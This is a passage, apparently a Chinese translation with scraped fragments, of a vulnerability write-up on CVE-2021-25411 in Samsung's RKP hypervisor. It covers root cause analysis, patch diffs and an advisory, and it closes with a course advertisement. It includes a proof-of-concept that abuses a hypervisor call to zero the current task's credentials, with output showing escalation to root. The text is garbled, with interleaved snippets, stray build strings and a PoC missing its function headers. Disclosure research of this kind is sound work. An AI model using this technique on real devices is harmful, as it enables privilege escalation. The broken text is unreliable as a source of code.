<4>[ 207.365617] [3: rkp_exploit:15549] task: 00000000dcac38cb task.stack: 00000000b4f56d76
<4>[ 207.365632] [3: rkp_exploit:15549] PC is at 0xffffff80fa6ff018
<4>[ 207.365644] [3: rkp_exploit:15549] LR is at 0xffffff80fa6ff004A515FXXU4CTJ1
补丁¶
- Implement thorough checking in the "dynamic executable" commands:
- The code segment(s) should not overlap any read-only pages
(maybe checking the ro_bitmap or calling is_phys_map_free is enough)
- dynamic_load_rw should not make the code segment(s) executable on failure
(to prevent abusing it to create executable kernel pages...)
- Ensure signature checking is enabled (it was disabled on some devices)G973FXXSBFUF3
dynamic_load_check
功能进行了更改。如建议,添加了检查以确保两个代码段都在二进制文件的地址范围内。虽然新检查不考虑所有添加项的整数溢出,但我们注意到在 10 月安全更新的后期进行了更改。base + size
int64_t dynamic_load_check(rkp_dynamic_load_t *rkp_dyn) {
// ...
return -1;
+ binary_base = rkp_dyn->binary_base;
+ binary_end = rkp_dyn->binary_size + binary_base;
+ code_base1 = rkp_dyn->code_base1;
+ code_end1 = rkp_dyn->code_size1 + code_base1;
+ if (code_base1 < binary_base || code_end1 > binary_end) {
+ uh_log('L', "rkp_dynamic.c", 71, "RKP_21f66fc1");
+ return -1;
+ }
+ if (rkp_dyn->type == RKP_DYN_FIMC_COMBINED) {
+ code_base2 = rkp_dyn->code_base2;
+ code_end2 = rkp_dyn->code_size2 + code_base2;
+ if (code_base2 < binary_base || code_end2 > binary_end) {
+ uh_log('L', "rkp_dynamic.c", 77, "RKP_915550ac");
+ return -1;
+ }
+ if ((code_base1 > code_base2 && code_base1 < code_end2)
+ || (code_base2 > code_base1 && code_base2 < code_end1)) {
+ uh_log('L', "rkp_dynamic.c", 83, "RKP_67b1bc82");
+ return -1;
+ }
+ }
binary_base_pa = rkp_get_pa(rkp_dyn->binary_base);
if (memlist_overlaps_range(&dynamic_load_regions, binary_base_pa, rkp_dyn->binary_size)) {
uh_log('L', "rkp_dynamic.c", 91, "dynamic_load[%p~%p] is overlapped with another", binary_base_pa,rkp_dyn->binary_size);
return -1;
}
if (pgt_bitmap_overlaps_range(binary_base_pa, rkp_dyn->binary_size))
uh_log('D', "rkp_dynamic.c", 96, "dynamic_load[%p~%p] is ro", binary_base_pa, rkp_dyn->binary_size);
return 0;
}ro_bitmap
pgt_bitmap_overlaps_range
R-X
RWX
RW-
RWX
RWX
SVE-2021-20176 (CVE-2021-25411): Vulnerable api in RKP allows attackers to write read-only kernel memory
Affected versions: Q(10.0), R(11.0) devices with Exynos9610, 9810, 9820, 9830
Reported on: January 4, 2021
Disclosure status: Privately disclosed.
Improper address validation vulnerability in RKP api prior to SMR JUN-2021 Release 1 allows root privileged local attackers to write read-only kernel memory.
The patch adds a proper address validation check to prevent unprivileged write to kernel memory.脆弱性¶
这是
RKP 用于将虚拟地址转换为物理地址的功能。AT S12E1W
(地址转换阶段 1 和 2 EL1 写入)指令来执行完整(阶段 1 和 2)地址转换,就好像内核分别尝试在该虚拟地址上读取或写入一样。通过检查
PAR_EL1
(物理地址寄存器)寄存器,该函数可以知道地址转换是否成功并检索物理地址。virt_to_phys_el1
使用 ,如果第一个地址转换失败,则使用 。这意味着内核可以读取和/或写入的任何虚拟地址都可以由函数成功转换。AT S12E1R
AT S12E1W
uint64_t virt_to_phys_el1(uint64_t addr) {
// ...
if (!addr) {
return 0;
}
cs_enter(s2_lock);
// Try to translate the VA using the AT S12E1R instruction (simulate a kernel read).
ats12e1r(addr);
isb();
par_el1 = get_par_el1();
// Check the PAR_EL1 register to see if the AT succeeded.
if ((par_el1 & 1) != 0) {
// Try again to translate the VA using the AT S12E1W instruction (simulate a kernel write).
ats12e1w(addr);
isb();
par_el1 = get_par_el1();
}
cs_exit(s2_lock);
// Check the PAR_EL1 register to see if the AT succeeded.
if ((par_el1 & 1) != 0) {
isb();
// If the MMU is enabled, log and print the stack contents (only once).
if ((get_sctlr_el1() & 1) != 0) {
uh_log('W', "vmm.c", 135, "%sRKP_b0a499dd %p", "virt_to_phys_el1", addr);
if (!dword_87035098) {
dword_87035098 = 1;
print_stack_contents();
}
dword_87035098 = 0;
}
return 0;
}
// If the AT succeeded, return the output PA.
else {
return (par_el1 & 0xfffffffff000) | (addr & 0xfff);
}
}virt_to_phys_el1
来转换内核 VA,有时从中读取,有时写入它。但是,由于 virt_to_phys_el1
仍然会转换 VA,即使它只能读取,我们可以滥用这种疏忽来写入内核中只读的内存。开发¶
virt_to_phys_el1
函数,写入转换后的地址,并且可以在虚拟机管理程序完全初始化后调用。只有两个命令处理程序符合要求:struct cred
struct task_security_struct
rkp_cmd_rkp_robuffer_alloc
,写入新分配页面的地址;int64_t rkp_cmd_rkp_robuffer_alloc(saved_regs_t* regs) {
// ...
page = page_allocator_alloc_page();
ret_va = regs->x2;
// ...
if (ret_va) {
// ...
*virt_to_phys_el1(ret_va) = page;
}
regs->x0 = page;
return 0;
}rkp_cmd_dynamic_load
,用于写入子命令的返回代码。int64_t rkp_cmd_dynamic_load(saved_regs_t* regs) {
// ...
if (type == RKP_DYN_COMMAND_BREAKDOWN_BEFORE_INIT) {
res = dynamic_breakdown_before_init(rkp_dyn);
// ...
} else if (type == RKP_DYN_COMMAND_INS) {
res = dynamic_load_ins(rkp_dyn);
// ...
} else if (type == RKP_DYN_COMMAND_RM) {
res = dynamic_load_rm(rkp_dyn);
// ...
} else {
res = 0;
}
ret_va = regs->x4;
if (ret_va) {
*virt_to_phys_el1(ret_va) = res;
}
regs->x0 = res;
return res;
}rkp_cmd_dynamic_load
因为当指定无效的子命令时,返回代码以及写入目标地址的值为 0。例如,将 UID/GID 更改为 0 () 非常有用。root
概念验证¶
#define UH_APP_RKP 0xC300C002
uid_t ruid, euid, suid;
getresuid(&ruid, &eudi, &suid);
printf("Uid: %d %d %d\n", ruid, euid, suid);
getresgid(&rgid, &egid, &sgid);
printf("Gid: %d %d %d\n", rgid, egid, sgid);
}
kernel_hyp_call(UH_APP_RKP, RKP_DYNAMIC_LOAD, 42, rkp_dyn_p, ret_p);
}
/* print the old credentials */
print_ids();
uint64_t current = kernel_get_current();
uint64_t cred = kernel_read(current + 0x7B0);
uint64_t rkp_dyn_p = kernel_alloc(0x38);
/* zero the fields of the struct cred */
for (int i = 4; i < 0x24; i += 4)
write_zero(rkp_dyn_p, cred + i);
print_ids();
}Uid: 2000 2000 2000
Gid: 2000 2000 2000
Uid: 0 0 0
Gid: 0 0 0shell
root
A515FXXU4CTJ1
补丁¶
- Add a flag to virt_to_phys_el1 to specify if it should check if the memory
needs to be readable or writable from the kernel, or split this function in twoG973FXXSBFUF3
rkp_cmd_rkp_robuffer_alloc
FREE
physmap
int64_t rkp_cmd_rkp_robuffer_alloc(saved_regs_t *regs) {
// ...
page = page_allocator_alloc_page();
ret_va = regs->x2;
// ...
if (ret_va) {
// ...
- *virt_to_phys_el1(ret_va) = page;
+ ret_pa = virt_to_phys_el1(ret_va);
+ rkp_phys_map_lock(ret_pa);
+ if (!is_phys_map_free(ret_pa)) {
+ rkp_phys_map_unlock(ret_pa);
+ rkp_policy_violation("RKP_07fb818a");
+ }
+ *ret_pa = page;
+ rkp_phys_map_unlock(ret_pa);
}
regs->x0 = page;
return 0;
}rkp_cmd_dynamic_load
功能进行了类似的更改。int64_t rkp_cmd_dynamic_load(saved_regs_t *regs) {
// ...
if (type == RKP_DYN_COMMAND_BREAKDOWN_BEFORE_INIT) {
res = dynamic_breakdown_before_init(rkp_dyn);
// ...
} else if (type == RKP_DYN_COMMAND_INS) {
res = dynamic_load_ins(rkp_dyn);
// ...
} else if (type == RKP_DYN_COMMAND_RM) {
res = dynamic_load_rm(rkp_dyn);
// ...
} else {
res = 0;
}
ret_va = regs->x4;
- if (ret_va)
- *virt_to_phys_el1(ret_va) = res;
+ if (ret_va) {
+ ret_pa = rkp_get_pa(ret_va);
+ rkp_phys_map_lock(ret_pa);
+ if (!is_phys_map_free(ret_pa)) {
+ rkp_phys_map_unlock(ret_pa);
+ rkp_policy_violation("RKP_07fb818a");
+ }
+ rkp_phys_map_unlock(ret_pa);
+ *ret_pa = res;
+ }
regs->x0 = res;
return res;
}virt_to_phys_el1
,但它只能修复利用路径,而不是根本原因。将来,当添加新的命令处理程序时,可能会忘记检查,从而重新引入漏洞。此外,该修补程序还假定内核中只读的内存永远不会标记为 .虽然目前情况如此,但将来也可能发生变化。physmap
FREE
virt_to_phys_el1
函数的参数。S2AP
ro_bitmap
二进制漏洞课程(更新中)
其它课程
windows网络安全防火墙与虚拟网卡(更新完成)
windows文件过滤(更新完成)
USB过滤(更新完成)
游戏安全(更新中)
ios逆向
windbg
恶意软件开发(更新中)
还有很多免费教程(限学员)
更多详细内容添加作者微信